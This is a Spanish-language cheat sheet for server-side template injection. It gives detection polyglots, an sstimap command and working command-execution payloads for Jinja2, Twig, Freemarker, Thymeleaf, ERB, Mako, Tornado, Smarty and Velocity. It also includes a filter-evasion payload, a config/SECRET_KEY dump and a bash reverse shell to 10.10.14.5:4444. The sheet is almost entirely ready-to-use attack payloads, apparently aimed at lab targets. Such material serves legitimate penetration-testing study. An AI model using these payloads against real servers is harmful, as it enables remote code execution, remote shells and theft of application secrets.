SSTI (inyección de plantillas)
Detectar el motor de plantillas y llegar a ejecución de comandos en Jinja2, Twig, Freemarker, ERB, Mako, Smarty, Thymeleaf y Tornado, con payloads para saltar filtros.
Detectar
- Políglota (si rompe, hay plantilla)
${{<%[%'"}}%\. - Operaciones según la sintaxis
{{7*7}} ${7*7} <%= 7*7 %> #{7*7} {7*7} - Jinja2 o Twig
{{7*'7'}} - Automático
sstimap -u "http://objetivo.htb/?name=x"
Jinja2 (Python, Flask)
- Configuración de la app (SECRET_KEY)
{{ config.items() }} - Comandos
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} - Comandos (más corto)
{{ cycler.__init__.__globals__.os.popen('id').read() }} - Comandos con lipsum
{{ lipsum.__globals__['os'].popen('id').read() }} - Si filtran el punto y los guiones bajos
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}} - Reverse shell
{{ cycler.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"').read() }}
Otros motores
- Twig (PHP)
{{['id']|filter('system')}} - Freemarker (Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} - Thymeleaf / Spring EL (Java)
${T(java.lang.Runtime).getRuntime().exec('id')} - ERB (Ruby)
<%= `id` %> - Mako (Python)
${self.module.cache.util.os.popen('id').read()} - Tornado (Python)
{% import os %}{{ os.popen('id').read() }} - Smarty (PHP)
{system('id')} - Velocity (Java)
#set($e="")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")